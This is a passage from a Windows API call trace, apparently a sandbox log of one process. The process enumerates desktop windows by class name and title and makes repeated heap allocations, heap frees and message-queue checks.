hWnd=0x1009e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.907] GetWindowTextW (in: hWnd=0x100c6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.908] GetClassNameW (in: hWnd=0x100c6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.908] GetWindowTextW (in: hWnd=0x10084, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.908] GetClassNameW (in: hWnd=0x10084, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Shell_TrayWnd") returned 13 [0132.908] GetWindowTextW (in: hWnd=0x101de, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Network Flyout") returned 14 [0132.908] GetClassNameW (in: hWnd=0x101de, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="ATL:00007FFFDA284120") returned 20 [0132.908] GetWindowTextW (in: hWnd=0x100de, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.908] GetClassNameW (in: hWnd=0x100de, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.908] GetWindowTextW (in: hWnd=0x100d6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.908] GetClassNameW (in: hWnd=0x100d6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0132.909] GetWindowTextW (in: hWnd=0x20304, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.909] GetClassNameW (in: hWnd=0x20304, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Alternate Owner") returned 15 [0132.909] GetWindowTextW (in: hWnd=0x20208, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.909] GetClassNameW (in: hWnd=0x20208, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.909] GetWindowTextW (in: hWnd=0x3007a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.909] GetClassNameW (in: hWnd=0x3007a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.909] GetWindowTextW (in: hWnd=0x3002c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.909] GetClassNameW (in: hWnd=0x3002c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.909] GetWindowTextW (in: hWnd=0x2013a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0132.910] GetClassNameW (in: hWnd=0x2013a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IEFrame") returned 7 [0132.910] GetWindowTextW (in: hWnd=0x70102, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.910] GetClassNameW (in: hWnd=0x70102, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0132.910] GetWindowTextW (in: hWnd=0x202a0, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.910] GetClassNameW (in: hWnd=0x202a0, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="VSyncHelper-08175010-8cd0474") returned 28 [0132.910] GetWindowTextW (in: hWnd=0x30234, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0132.910] GetClassNameW (in: hWnd=0x30234, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="TabThumbnailWindow") returned 18 [0132.911] GetWindowTextW (in: hWnd=0x20284, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.911] GetClassNameW (in: hWnd=0x20284, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0132.911] GetWindowTextW (in: hWnd=0x2026e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.911] GetClassNameW (in: hWnd=0x2026e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Alternate Owner") returned 15 [0132.911] GetWindowTextW (in: hWnd=0x20372, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.911] GetClassNameW (in: hWnd=0x20372, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.911] GetWindowTextW (in: hWnd=0x20250, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.911] GetClassNameW (in: hWnd=0x20250, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="VSyncHelper-0519A538-87b8549") returned 28 [0132.911] GetWindowTextW (in: hWnd=0x4012a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0132.912] GetClassNameW (in: hWnd=0x4012a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="TabThumbnailWindow") returned 18 [0132.912] GetWindowTextW (in: hWnd=0x202dc, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.912] GetClassNameW (in: hWnd=0x202dc, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0132.912] GetWindowTextW (in: hWnd=0x202fe, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.912] GetClassNameW (in: hWnd=0x202fe, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0132.912] GetWindowTextW (in: hWnd=0x202b2, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.912] GetClassNameW (in: hWnd=0x202b2, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.918] NtdllDefWindowProc_W (hWnd=0x60046, Msg=0xd, wParam=0x400, lParam=0xbdead8) returned 0x9 [0132.926] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.927] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016200 | out: hHeap=0xe80000) returned 1 [0132.949] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.949] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0132.949] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2a8 [0132.949] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557f0 [0132.949] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557f0 | out: hHeap=0xe80000) returned 1 [0132.949] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2a8 | out: hHeap=0xe80000) returned 1 [0132.949] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.949] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c00 [0132.949] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.950] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c00 | out: hHeap=0xe80000) returned 1 [0132.950] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.950] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0132.950] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0132.950] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557d0 [0132.950] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557d0 | out: hHeap=0xe80000) returned 1 [0132.950] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.950] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0132.950] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016100 [0132.950] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.951] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016100 | out: hHeap=0xe80000) returned 1 [0132.951] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.951] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf298 [0132.951] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0132.951] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055490 [0132.951] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055490 | out: hHeap=0xe80000) returned 1 [0132.951] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0132.951] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf298 | out: hHeap=0xe80000) returned 1 [0132.951] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016200 [0132.951] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.952] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016200 | out: hHeap=0xe80000) returned 1 [0132.952] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.952] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2a8 [0132.952] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2e8 [0132.952] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055550 [0132.952] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055550 | out: hHeap=0xe80000) returned 1 [0132.952] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2e8 | out: hHeap=0xe80000) returned 1 [0132.952] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2a8 | out: hHeap=0xe80000) returned 1 [0132.952] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015f80 [0132.952] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.952] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015f80 | out: hHeap=0xe80000) returned 1 [0132.952] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.952] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0132.952] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0132.952] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055770 [0132.952] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055770 | out: hHeap=0xe80000) returned 1 [0132.952] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.953] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0132.953] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016100 [0132.953] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.953] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016100 | out: hHeap=0xe80000) returned 1 [0132.953] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.953] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.953] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9e68 [0132.953] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076958 [0132.953] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2e8 [0132.953] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2e8 | out: hHeap=0xe80000) returned 1 [0132.953] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076bb0 [0132.954] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d60 [0132.954] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2e8 [0132.954] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076958 | out: hHeap=0xe80000) returned 1 [0132.954] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9e68 | out: hHeap=0xe80000) returned 1 [0132.954] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d60 | out: hHeap=0xe80000) returned 1 [0132.954] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2e8 | out: hHeap=0xe80000) returned 1 [0132.954] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076bb0 | out: hHeap=0xe80000) returned 1 [0132.954] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.954] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0132.954] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2e8 [0132.954] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055770 [0132.954] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055770 | out: hHeap=0xe80000) returned 1 [0132.954] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2e8 | out: hHeap=0xe80000) returned 1 [0132.954] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0132.954] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016140 [0132.954] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.955] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016140 | out: hHeap=0xe80000) returned 1 [0132.955] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.955] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2e8 [0132.955] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0132.955] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055630 [0132.955] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055630 | out: hHeap=0xe80000) returned 1 [0132.955] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0132.955] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2e8 | out: hHeap=0xe80000) returned 1 [0132.955] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016000 [0132.955] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.955] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf288 [0132.955] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9d78 [0132.955] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ad8 [0132.955] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf448 [0132.955] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d60 [0132.955] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2e8 [0132.955] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556b0 [0132.955] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9e68 [0132.955] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c10 [0132.955] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0132.955] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c88 [0132.955] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.955] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1c210) returned 0x10b7828 [0132.962] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf368 [0132.962] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c88 | out: hHeap=0xe80000) returned 1 [0132.964] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10b7828 | out: hHeap=0xe80000) returned 1 [0132.964] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0132.964] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c10 | out: hHeap=0xe80000) returned 1 [0132.964] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9e68 | out: hHeap=0xe80000) returned 1 [0132.964] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0132.964] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055470 [0132.964] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d78 [0132.964] GetLastError () returned 0x0 [0132.965] SetLastError (dwErrCode=0x0) [0132.965] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0132.965] GetLastError () returned 0x0 [0132.965] SetLastError (dwErrCode=0x0) [0132.965] GetLastError () returned 0x0 [0132.965] SetLastError (dwErrCode=0x0) [0132.965] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076da8 [0132.965] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076bb0 [0132.965] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf298 [0132.965] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf358 [0132.965] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9f30 [0132.965] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d78 | out: hHeap=0xe80000) returned 1 [0132.965] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055470 | out: hHeap=0xe80000) returned 1 [0132.965] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076bb0 | out: hHeap=0xe80000) returned 1 [0132.965] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf298 | out: hHeap=0xe80000) returned 1 [0132.965] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076da8 | out: hHeap=0xe80000) returned 1 [0132.965] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c10 [0132.965] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c10 | out: hHeap=0xe80000) returned 1 [0132.965] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556b0 | out: hHeap=0xe80000) returned 1 [0132.966] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2e8 | out: hHeap=0xe80000) returned 1 [0132.966] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf448 | out: hHeap=0xe80000) returned 1 [0132.966] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x14) returned 0x1055470 [0132.966] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3e8 [0132.966] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9c88 [0132.966] CharLowerBuffW (in: lpsz="byte[116216]", cchLength=0xc | out: lpsz="byte[116216]") returned 0xc [0132.966] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x24) returned 0x107d220 [0132.966] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d78 [0132.966] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2e8 [0132.966] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b20 [0132.966] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf368 [0132.966] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076da8 [0132.966] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf388 [0132.966] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076af0 [0132.966] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf398 [0132.966] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076af0 | out: hHeap=0xe80000) returned 1 [0132.966] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0132.966] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076da8 | out: hHeap=0xe80000) returned 1 [0132.966] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0132.966] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b20 | out: hHeap=0xe80000) returned 1 [0132.966] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0132.966] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf268 [0132.966] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1c5f8) returned 0x10b7828 [0132.967] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9c88 | out: hHeap=0xe80000) returned 1 [0132.967] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0132.967] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9f30 | out: hHeap=0xe80000) returned 1 [0132.967] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.967] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d60 | out: hHeap=0xe80000) returned 1 [0132.967] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ad8 | out: hHeap=0xe80000) returned 1 [0132.968] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9d78 | out: hHeap=0xe80000) returned 1 [0132.968] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0132.968] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0132.968] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf348 | out: hHeap=0xe80000) returned 1 [0132.968] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x107d070 | out: hHeap=0xe80000) returned 1 [0132.968] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0132.968] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10161c0 | out: hHeap=0xe80000) returned 1 [0132.968] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055730 | out: hHeap=0xe80000) returned 1 [0132.968] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x14) returned 0x1055430 [0132.968] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x24) returned 0x107d0a0 [0132.968] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0132.968] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3e8 [0132.968] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d78 | out: hHeap=0xe80000) returned 1 [0132.968] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2e8 | out: hHeap=0xe80000) returned 1 [0132.969] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x107d220 | out: hHeap=0xe80000) returned 1 [0132.969] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055470 | out: hHeap=0xe80000) returned 1 [0132.969] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.969] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf348 [0132.969] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf348 | out: hHeap=0xe80000) returned 1 [0132.969] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.969] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9e90 [0132.969] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076da8 [0132.969] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0132.969] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0132.969] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557f0 [0132.969] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0132.969] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10555b0 [0132.969] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0132.969] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10555b0 | out: hHeap=0xe80000) returned 1 [0132.970] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557f0 | out: hHeap=0xe80000) returned 1 [0132.970] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0132.970] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: 